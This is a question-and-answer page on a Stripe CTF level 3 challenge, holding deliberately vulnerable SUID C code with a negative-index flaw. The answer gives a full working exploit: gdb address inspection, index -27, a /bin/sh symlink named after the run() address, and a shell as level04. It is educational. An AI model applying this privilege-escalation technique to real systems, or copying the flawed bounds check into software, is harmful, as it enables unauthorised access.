Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • SEARCH
  • Home
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 7565189
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: May 30, 20262026-05-30T14:05:25+00:00 2026-05-30T14:05:25+00:00

So i was trying to do the Stripe CTF contest , but I know

  • 0

So i was trying to do the Stripe CTF contest, but I know absolutely nothing about security, so I looked up problem 3 when i got stuck on it. I still don’t understand how it works. The goal of the hack is to access the password in a file of a different user, by using an application with the SUID bit set. Here is the (simplified) code of the application:

#define NUM_FNS 4
typedef int (*fn_ptr)(const char *);
int to_upper(const char *str)
int to_lower(const char *str)
int capitalize(const char *str)
int length(const char *str)

int run(const char *str)
{
  // This function is now deprecated.
  return system(str);
}

int truncate_and_call(fn_ptr *fns, int index, char *user_string)
{
  char buf[64];
  // Truncate supplied string
  strncpy(buf, user_string, sizeof(buf) - 1);
  buf[sizeof(buf) - 1] = '\0';
  return fns[index](buf);
}

int main(int argc, char **argv)
{
  int index;
  fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length};

  if (argc != 3) {
    exit(-1);
  }

  // Parse supplied index
  index = atoi(argv[1]);

  if (index >= NUM_FNS) {
    exit(-1);
  }

  return truncate_and_call(fns, index, argv[2]);
}

And here is a solution i found: http://pastebin.com/VJ4xpawq

I’m so confused as to why this works. If i run the code with something like ./level03 -28 “echo foo;” I get a segfault. Also, why is the memory address reversed in his printf function????

I’m lost, and would like to learn. Thank you in advance. 🙂

  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. Editorial Team
    Editorial Team
    2026-05-30T14:05:26+00:00Added an answer on May 30, 2026 at 2:05 pm

    The goal of this code is to execute

    system("/bin/sh");
    

    since the executable has a UID of ‘level04’, the shell it spawned will also have a UID of ‘level04’.

    This can be done by running the “deprecated” run function:

    run("/bin/sh");
    

    We notice that in the function truncate_and_call, we will call a function, which is selected by user input:

    return fns[index](buf);
    

    So, we try to create a memory location and make up an index, such that fns[index] == &run.

    The index is bounds-checked by

      if (index >= NUM_FNS) {
        exit(-1);
      }
    

    which means the malicious index we provide must be less than 4 — but it could be negative! Therefore, our goal becomes:

    1. Find a memory location before fns which is writable
    2. Write the memory address of &run into it
    3. Assign buf as something which starts the shell.

    To check the addresses, we run the program inside gdb and break at truncate_and_call:

    $ gdb --quiet --args a.out 1 something
    Reading symbols from ~/a.out...done.
    (gdb) b truncate_and_call
    Breakpoint 1 at 0x80484c5: file 3.c, line 21.
    (gdb) r
    Starting program: ~/a.out 1 something
    
    Breakpoint 1, truncate_and_call (fns=0xffbffa6c, index=1, user_string=0xffc019ab "something") at 3.c:21
    21    strncpy(buf, user_string, sizeof(buf) - 1);
    (gdb) list
    16  
    17  int truncate_and_call(fn_ptr *fns, int index, char *user_string)
    18  {
    19    char buf[64];
    20    // Truncate supplied string
    21    strncpy(buf, user_string, sizeof(buf) - 1);
    22    buf[sizeof(buf) - 1] = '\0';
    23    return fns[index](buf);
    24  }
    25  
    

    Notice that there is also a local variable buf here, which:

    (gdb) p &buf
    $2 = (char (*)[64]) 0xffbffa00
    

    has an address before fns. So step 1 is done. We only need to check the index, which is

    (gdb) p (0xffbffa6c - 0xffbffa00) / 4   # 4 == sizeof(*fns)
    $4 = 27
    

    So the next question is how to write the memory location of &run into buf. This is easy, because buf is just a strcpy of user_string, the second argument of the function. Check that the address of run is

    (gdb) p &run
    $5 = (int (*)(const char *)) 0x80484ac 
    

    In a little-endian system, this address is encoded as the string "\xAC\x84\x04\x08". This string can be obtained from the shell using the printf command, or $'...':

    $ echo `printf "\xac\x84\x04\x08"`
    ��
    $ echo $'\xac\x84\x04\x08'
    ��
    

    So, the last step is to make it start the shell. Because if we assign "\xac\x84\x04\x08" to buf, what is actually called is

    run("\xac\x84\x04\x08");
    

    but we wanted "/bin/sh", not "\xac\x84\x04\x08"! This could be easily worked around by linking /bin/sh to a file with name "\xac\x84\x04\x08", and add the directory of that file to $PATH:

    $ export PATH=`pwd`:$PATH
    $ ln -s /bin/sh $'\xac\x84\x04\x08'
    $ $'\xac\x84\x04\x08'
    sh-4.2$ whoami
    level03
    

    The whole solution is therefore:

    $ export PATH=`pwd`:$PATH
    $ ln -s /bin/sh $'\xac\x84\x04\x08'
    $ /levels/level03 -27 $'\xac\x84\x04\x08'
    sh-4.2$ whoami
    level04
    

    (Note: the numbers are a bit different, because I run them on my machine instead of Stripe’s.)


    Also, you get a segfault in ./level03 -28 "echo foo;" because it will interpret the address to run as 0x6f686365 (the ASCII codes of the 4 bytes ‘echo’), which is an invalid address.

    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Related Questions

I know this problem crops up a lot, but I couldn't find a piece
I'm trying to use the following code and it still strips out all the
I am trying to use regex.replace to strip out unwanted characters, but I need
I am trying to implement Stripe payment https://stripe.com/ in my app. I need to
I'm trying to version my API like Stripe has. Below is given the latest
I'm trying to use the AFOpenFlowView in landscape mode, but I get a black
This should be simple but it's not working. I am trying to strip single
I am trying to style the following table but I can't avoid styling every
I've got two strings that are lines pulled from a file. I'm trying to
I'm trying to save a stripe (the billing service) company id [around 200 characters

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.